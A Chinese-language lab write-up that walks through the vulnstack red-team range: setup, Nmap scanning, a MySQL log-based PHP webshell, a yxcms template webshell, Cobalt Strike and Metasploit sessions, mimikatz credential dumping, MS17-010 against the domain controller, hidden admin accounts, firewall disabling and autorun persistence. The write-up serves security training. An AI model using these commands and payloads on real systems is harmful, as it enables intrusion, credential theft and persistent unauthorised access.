再搭建靶机的时候很抓狂的是官网好像没给出密码,导致我一直无法登陆配置自定义IP,因为我并不想改变我nat网卡的网段

靶机本身也有问题

靶机搭建

靶机地址下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

拓扑图如下所示:

image-20230510203336362

下载完成后使用VMware打开,各个虚拟网卡的网段如下:

  • VMnet8:192.168.88.0/24
  • VMnet14:192.168.93.0/24

其中VMnet8网卡是我虚拟机默认的网段,VMnet14是额外添加的虚拟网卡,添加网卡时要注意修改一个配置,网段你们想怎么选都行,下图箭头所指默认时勾上的,要去掉,否则你电脑本机就能直接访问该网段。

image-20230510203711369

下图给出Windows7的网卡配置,其他的你们看图就知道选哪个网卡

image-20230510203928922

因为有些靶机的IP是配的静态的,故需要登陆进去修改,三个靶机密码都是hongrisec@2019,一开始我搞半天都不行,原网站也没给出静态的IP信息,后面去其他人的博客上才找到配置好网络环境(有些靶机会提示密码过期,重新改下就行)

最后Win7内有个phpstudy运行不起来,需要单独运行mysql和apache服务

1
2
3
4
5
6
7
8
# 进入apache的bin目录运行此命令,将apache添加到服务
httpd.exe -k install

# 打开服务管理界面,找到apache2.4,启动即可
services.msc

# 打开mysql的bin目录运行以下命令即可
mysqld --defaults-file="C:/phpStudy/mysql/my.ini"

信息收集

由于windows 7开启了防火墙,故无法采用ping扫描探测主机存活,但可疑使用以下命令进行探测:

1
2
# 使用tcp的ack包探测主机是否存活
nmap -sA -v 192.168.88.0/24

image-20230510104349915

通过排查可得目标服务器ip为192.168.88.18,对其进行端口扫描

1
2
# 获取目标IP的端口开发以及端口服务信息
nmap -sV -Pn -v 192.168.88.18

image-20230510111354316

可以发现开放了80端口和3306端口,进入80端口发现了PHP探针

image-20230510111453583

下面有个MYSQL连接检测,输入root,root连接成功

image-20230510111654785

使用御剑扫描网站目录发现存在phpmyadmin路径

image-20230510213428012

该界面有个测试数据库的连通性,直接用默认密码登陆数据库,目前有一个mysql可以尝试getshell,先记录下。

image-20230510213428012

登陆数据库后,发现有个newyxcms,说明该服务器可能还存在一个yxcms,尝试在路径后输入yxcms

image-20230510112523514

发现确实存在yxcms

image-20230510214330481

我们从数据库中查找管理员账号密码,密码已经被加过密了,可以尝试丢到在线解密网站进行解密

image-20230510214406960

从百度搜出yxcms的后台管理地址是index.php?r=admin/index/login,默认账号密码是admin/123456,登陆成功(一开始密码输错了会显示账号已锁定,是真的狗)

image-20230510215043171

登陆后通过后台界面的左下角可以看到yxcms的版本为1.2.1,这个版本看上去挺老的,也可能直接getshell,记录下。

漏洞利用

0x01. Mysql Getshell

先看MYSQL是否支持导出一句话,可以知道无法进行通过导出一句话木马获得shell

1
select @@secure_file_priv;

image-20230510112853850

再尝试通过写日志getshell

1
2
3
4
5
6
7
8
# 开启写日志
set global general_log="ON";

# 设置日志路径
set global general_log_file='C:/phpStudy/WWW/x.php';

# 修改完成后,最后查询是否修改成功
SHOW VARIABLES LIKE '%general%';

image-20230510113445746

此时我们再通过查询语句往日志文件写入一句话木马,由于开启了system函数,那就直接用这个函数执行系统命令
image-20230510113601455

1
select "<?php system($_GET['cmd']);?>";

访问http://192.168.88.18/x.php?cmd=whoami,可知命令已执行成功

image-20230510114004371

0x02. Yxcms命令执行Getshell

yxcms 1.4.7版本存在目录遍历和代码执行等一系列漏洞,尝试在当前版本是否适用。

输入网址http://192.168.88.18/yxcms/index.php?r=admin/files/index&dirget=../../,发现确实存在目录遍历漏洞

image-20230511075641200

观察下目录结构发现存在kindeditor编辑器

image-20230510221032023

访问http://192.168.88.18/yxcms/public/kindeditor,发现网站本身还存在目录遍历漏洞,不过编辑器是没法利用了

image-20230511080345219

继续转到前台模板,可以看到都是php文件,并且可以编辑

image-20230511080500510

经观察,选择在layout.php一句话木马最为方便,因为这种版权信息不用进后端就能看到

image-20230511085730208

使用蚁剑连接成功

image-20230511085850816

权限维持

使用蚁剑的虚拟终端查看目标服务器的进程,通过检测没有发现杀软

image-20230511090326941

本来想使用payloadreverse_https,但无论怎么尝试都没动静,Wireshark也没有对应的流量,无奈只能换成reverse_http,生成一个powershell命令的后门,直接在蚁剑的虚拟终端上执行,执行成功上线cs

紧接着创建一个smb监听器,然后将当前的会话派生的smb监听器上

image-20230515143506013

然后使用最新的会话做一系列操作,获取systeminfo信息

image-20230511092257229

运行mimikatiz获取目标服务器的密码

image-20230510130103987

一些常用方法,记录下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 以下创建的用户net user无法查看,但可通过lusrmgr.msc或注册表进行查看
## 创建隐藏用户
net user admin$ 123456 /add
## 将隐藏账号设为管理员
net localgroup administrators admin$ /add

# 还可以创建克隆账号,需要操作注册表,且只能通过注册表查看

# 开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 关闭3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

# msf中post/windows/manage/migrate模块的进程注入

# Windows schtasks命令创建计划任务

# 自启动
## HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
## HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
## HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
## C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

# shift后门

横向移动

查看网卡信息发现有内网网段192.168.93.0/24

image-20230510130637026

查看当前域的名字但发生系统错误,表示该网络存在域,但不是域成员

image-20230511094140485

通过net view可以查看当前域的计算机列表,下图可知192.168.93.130是域控服务器

image-20230510130303430

上传fscan,对内网进行扫描

  • 端口开放情况:

    image-20230511095110910

  • 漏洞扫描情况(先记录)

    • 129和130可能存在ms17-010漏洞
    • 129存在ftp匿名登陆
    • 129的8099端口存在一个web页面
    • 130存在一个IIS7的网站

    image-20230511095155788

将会话转移到msf中,并通过命令run autoroute自动添加内网路由

image-20230516081014507

使用exploit/windows/smb/ms17_010_psexec模块获取该域控服务器的权限

由于在内网环境下,只能使用bind类型的payload,采用反连的payload会导致服务器无法访问到我们的攻击机

image-20230515154629596

利用成功但是无法创建会话,那再使用auxiliary/admin/smb/ms17_010_command模块执行系统命令whoami,如果执行成功则说明该域控开了防火墙。

image-20230515154413503

接下来运行命令netsh firewall set opmode disable关闭防火墙

image-20230515161034595

再重新使用psexec模块,记得更换其他端口,然后就获取到域控服务器的会话

image-20230515161056785

image-20230515161212555

导入kiwi(旧版本的mimikatz),由于kiwi默认加载的是32位,而目标服务器是64位,故需要将meterpreter进程迁移到64位进程中才能查看系统明文。

image-20230515162630855

查看目标服务器的进程列表

image-20230515162615961

选择一个64位进程,使用命令migrate pid进行进程迁移

image-20230516082452527

再使用命令creds_all获取所有凭证信息

image-20230515162531254

获取到账号密码后,在cs中jump->psexec,然后输入密码进行横向移动

image-20230515162758725

域控服务器成功上线cs,经排查域控服务器也未存在杀软

image-20230516075424417

在cs上对域控服务器抓取

image-20230516080746117

同理让其他域成员主机上线cs

image-20230516080746117